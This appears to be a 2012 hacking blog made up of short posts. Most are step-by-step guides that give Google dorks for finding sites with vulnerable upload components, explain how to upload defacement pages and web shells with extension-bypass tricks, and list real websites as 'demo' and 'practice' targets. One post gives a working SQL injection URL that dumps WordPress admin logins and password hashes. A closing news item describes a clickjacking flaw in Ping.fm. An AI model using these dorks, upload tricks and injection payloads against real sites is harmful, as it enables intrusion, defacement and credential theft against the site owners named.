Convex Coders

Showing posts with label Vulnerability. Show all posts

Thursday, 26 January 2012

"Add Testimonial" : Remote File Upload Vulnerability.

Posted by Convex Coders at 18:54 Comments

[#1] Open website ..

[#2] Go to this URL: testimonial/add.html.php

For example: http://Site.com/testimonial/add.html.php

[#3] Now Upload Your Deface or any file

[#4] To view you upload file go to /images/testimonial/ , you'll see index of files here ... click on last file, its yours !!

[#5] Enjoy=) and do leave a Comment below if you Like it

Demo :
http://sdhealingarts.com/testimonial/add.html.php?
http://slangmediagroup.com/testimonial/add.html.php?

http://thepharmcollective.com/testimonial/add.html.php?

http://www.ganjadaddy.com/demo/firestation/testimonial/add.html.php?

Result : HACKED by -[D4RK_CRYST4L]-

HTML Editor File Upload Vulnerability

Posted by Convex Coders at 18:17 Comments

Google Dork:

inurl:/HTMLEditor/editor/
or
"inurl:/HTMLEditor/editor//filemanager/"
or

"inurl:/HTMLEditor/editor//filemanager//connectors/"

Exploit:

http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
or

http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html

Go here, http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html Change connectors into .php (Like FCKeditor) and upload your file

supported files: .txt and .jpg in some site you can upload .html and .php too

To view you file go-to: http://website/PowerCMS%20folder/files/your file here
or http://website/patch//PowerCMS%20folder/files/your file here

Live Demo:

http://www.madhouse1.com/clients/dna/cms/HTMLEditor/editor/filemanager/connectors/uploadtest.html
HACKED by -[D4RK_CRYST4L]-

Saturday, 21 January 2012

KindEdior Remote File Upload Exploit

Posted by Convex Coders at 14:55 Comments

Google Dork:

intitle:index of? inurl:kindeditor

inurl:examples/uploadbutton.html

Exploit: http://www.vulnrabewebsite.com/path/kindeditor/examples/uploadbutton.html

Choose any website from google search results and go-to vulnerable URL like http://www.vulnrabewebsite.com/kindeditor/examples/uploadbutton.html now click on upload and select your file, it will be automaticly uploaded,and you'll get your uploaded file Link/URL there, and if you can't get your uploaded file link then go-to http:// www.vulnrabewebsite.com/path/kindeditor/attached/file/

and you'll see alot of folders there, click on last folder and in the folder click on last file, its your uploaded file. Enjoy & Must leave a Comment if you want more exploit like that, because

new article's posting depends on old article's popularity

Live Demo :

http://www.arimlab.com/themes/default/js/kindeditor/examples/uploadbutton.html

http://www.arimlab.com/themes/default/js/kindeditor/attached/file/20120121/20120121091624_88826.html

Monday, 16 January 2012

WordPress Plugin : tdo Mini File Upload Vulnerability

Posted by Convex Coders at 17:03 Comments

WordPress Plugin : tdo Mini File Upload Vunerablity

Google Dork :

"inurl:”plugins/tdo-mini-forms/tdomf-upload-inline.php?tdomf_form_id=1"

Go to google.com and enter this dork

"inurl:”plugins/tdo-mini-forms/tdomf-upload-inline.php?tdomf_form_id=1"

Now see the results and select any site.......

Now upload your deface as deface.html;.jpg and upload your shell as shell.asp;.jpg or shell.php;.jpg

and see your uploaded file here....
www.site.com/wp/wp-content/uploads/tdomf/tmp/1/Yourfilehere

Sunday, 15 January 2012

New Wordpress Exploit : 10K+ Websites vulnerable through this attack

Posted by Convex Coders at 21:08 Comments

WordPress Easy Comment Upload Vulnerability:

Google Dork:

"inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php"

/wp-content/plugins/easy-comment-uploads/upload-form.php

Index of /wp-content/plugins/easy-comment-uploads

Open Google and enter any dork given above..
Now selct any website
and goto this url site.com/wp-content/plugins/easy-comment-uploads/upload-form.php
You'll Get Upload Option here :)
Now Upload Your Deface ....
and check it here site.com/wp-content/uploads/2011/05/yourfilehere

Note :- In some websites you can Upload your deface in .txt on only ... and you can upload shell in 50% sites only ... upload shell in image format i.e. shell.asp.jpg

Live Demo :-
http://www.findthepearl.com/
http://www.findthepearl.com/wp-content/plugins/easy-comment-uploads/
http://www.findthepearl.com/wp-content/plugins/easy-comment-uploads/upload-form.php

Friday, 13 January 2012

Wordpress FCKEDITOR upload Vunerablity : Upload Your Deface Remotely

Posted by Convex Coders at 16:55 Comments

open Google.com and enter Dork:

inurl:admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

inurl:Powered By OpenCart

You'll Got a lot of websites by google, select anyone ... For Example i got this one

http://www.schoolshopper.com.au/

Then i'll will simply add the vulnerability URL after the website

Example

http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

(The path may be changed in other Website , Example site.com/abc/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html)

Now a Page will be open Like This:

Now See The connector option which is on top left side on page, Change The Connector into PHP (see the Image below)

and Now see file upload option and upload your deface or shell

and for checking shell or deface check this url

www.site.com/deface.html

www.site.com/shell.php

I have uploaded xd.html here so you can check http://www.schoolshopper.com.au/xd.html

FOR PRACTICE..

http://ruthsgarden.com/jaihind.html

http://www.utahflowers.net/jaihind.html

http://www.eesnet.org/jaihind.html

http://bestonlinediscounts.net/

http://wenrestaurant.com/

http://ruthsgarden.com/

http://www.utahflowers.net/

http://www.inlove.my/

http://megamall.com.pk/

http://stefanyboutique.com/

http://www.virtualgeorge.info/

http://iphoneclone.biz/

http://amourcristallis.com/

http://www.eesnet.org/

http://www.schoolshopper.com.au/

http://www.mymaxi.nl/

http://wiretek.net/

http://shop.tjokgus.com/

http://www.aquariumsystem.it/

http://uae-shopper.com/

http://organicjewelries.com/

http://www.granmasantiques.com/

http://avocadogenie.com/

http://www.inputandanalysis.com

http://eddiegifts.com/

http://bestonlinediscounts.net/

http://wenrestaurant.com/

http://ruthsgarden.com/

http://www.utahflowers.net?/

http://www.inlove.my/

http://megamall.com.pk/

http://stefanyboutique.com?/

http://www.inputandanalysis.com/

http://www.virtualgeorge.info/

http://iphoneclone.biz/

http://amourcristallis.com?/

http://www.eesnet.org/

http://www.schoolshopper.com.au/

http://www.mymaxi.nl/

http://wiretek.net/

http://shop.tjokgus.com/

http://www.aquariumsystem.it/

http://uae-shopper.com/

http://organicjewelries.com/

http://www.granmasantiques.com/

http://avocadogenie.com/

http://www.inputandanalysis.com/

http://www.utahflowers.net/

http://stefanyboutique.com/

http://amourcristallis.com/

Thursday, 12 January 2012

Simplest way to hack any Wordpress based site

Posted by Convex Coders at 15:40 Comments

In this post I'll tell you the SIMPLEST WAY TO HACK ANY WORDPRESS BASED SITE.

First we'll use this dork to search website with the help of Google

inurl:"wp-content/plugins/photoracer/viewimg.php?id="

Results:

I'm now gonna test one of them..

For eg..

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=2

Now add the Exploit..

/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

This is the exploit.. (GIVEN ABOVE)

And now the site address will become..

http://www.badged.gr/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

Now you can see the ADMIN and PASS....just crack the HASHES and you're done..

Site Admin Login page for WP

http://www.SITE-ADDRESS/wp-login.php

Sunday, 8 January 2012

Ping.fm vulnerable to Clickjacking

Posted by Convex Coders at 14:52 Comments

Two Indian Hackers Aditya Gupta(@adi1391) and Subho Halder (@sunnyrockzzs) have discovered Clickjacking vulnerability in one of the famous website "Ping.FM". Clickjacking is a malicious technique of tricking Web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

This is based on a technique known as clickjacking ( or UI Redressing ) where an attacker could perform actions on the behalf of user by tricking the user to click on a button or perform some other action.

This vulnerability was earlier seen in Twitter where it allows the status to be loaded through the GET method, and an attacker could frame the twitter webpage and trick the user to click on the tweet button, with the user thinking that its a part of the attacker's webpage.

This can be disabled by setting the X-FRAME-ORIGIN method to SAME ORIGIN or DENYING the use of webpage inside a frame which have been adopted by google, facebook and many other famous websites.

Ping.fm is a online service which allows the user to connect to many social networks at once. However an attacker could use a technique known as Clickjacking to silently update the user's social networking status at Twitter, Facebook and all other connected accounts.In this technique, the user is tricked into clicking on a button on a webpage designed by the attacker,which silently updates the status of the user on the social netowrks status taking advantage of thePing.fm API and clickjacking technique.

Video DEMO POC: